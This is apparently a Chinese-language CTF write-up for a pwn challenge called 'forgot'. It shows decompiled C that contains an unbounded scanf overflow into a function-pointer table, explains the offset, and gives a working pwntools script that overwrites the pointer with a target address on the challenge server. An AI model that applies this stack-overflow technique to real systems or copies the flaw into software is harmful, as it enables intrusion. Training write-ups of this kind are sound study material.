forgot
简化版代码如下
int __cdecl main()
{
int v0; // ebx
char email_check[32]; // [esp+10h] [ebp-74h]
int(*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int Index; // [esp+78h] [ebp-Ch]
int i; // [esp+7Ch] [ebp-8h]
Index = 1;
v3 = fun0;
v4 = fun1;
v5 = fun2;
v6 = fun3;
v7 = fun4;
v8 = fun5;
v9 = fun6;
v10 = fun7;
v11 = fun8;
v12 = fun9;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 32, stdin);
sub_80485DD((int)&s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", fun4);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", email_check);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(email_check) )
break;
switch ( Index )
{
case 1:
if ( sub_8048702(email_check[i]) ) // a-z,0-9,+,-,.,/ =>first char
Index = 2;
break;
case 2:
if ( email_check[i] == '@' )
Index = 3;
break;
case 3:
if ( sub_804874C(email_check[i]) ) // a-z,0-9,_
Index = 4;
break;
case 4:
if ( email_check[i] == '.' )
Index = 5;
break;
case 5:
if ( sub_8048784(email_check[i]) ) // a-z
Index = 6;
break;
case 6:
if ( sub_8048784(email_check[i]) ) // a-z
Index = 7;
break;
case 7:
if ( sub_8048784(email_check[i]) ) // a-z
Index = 8;
break;
case 8:
if ( sub_8048784(email_check[i]) ) // a-z
Index = 9;
break;
case 9:
Index = 10;
break;
default:
continue;
}
}
((void (*)(void))*(&v3 + --Index))(); // fun[Index--]
return fflush(stdout);
}
分析源码:可以控制调用函数的下标,即从fun0-fun9中调用,而接下来的输入点可以覆盖掉fun函数列表,于是其中一种思路是:用字符过滤的原则只让Index一开始为2,之后调用fun1,而对应的将fun1的地址覆盖为可疑函数的地址。
细节:&&和||,&&优先级高,实现字符过滤 __isoc99_scanf("%s", email_check);
不限长输入,在email_check下有函数的地址列表。
可疑函数地址:0x080486CC。偏移量(OX74-0x54)此时为anonymous(fun0)以上的偏移,之后再加上fun0对应的4字节,即为0x24,在把fun1覆盖,这里选择覆盖fun1的原因是与输入的'a'有关,符合输入字符,最会把Index变为2,之后再--Index.payload
from pwn import *
context.log_level = 'debug'
p = remote("220.249.52.133",48040)
#p = process('./forgot')
payload = 'a'*0x24+p32(0x080486CC)
p.recvuntil("> ")
p.sendline('a')
p.recvuntil("> ")
p.sendline(payload)
p.interactive()
效果: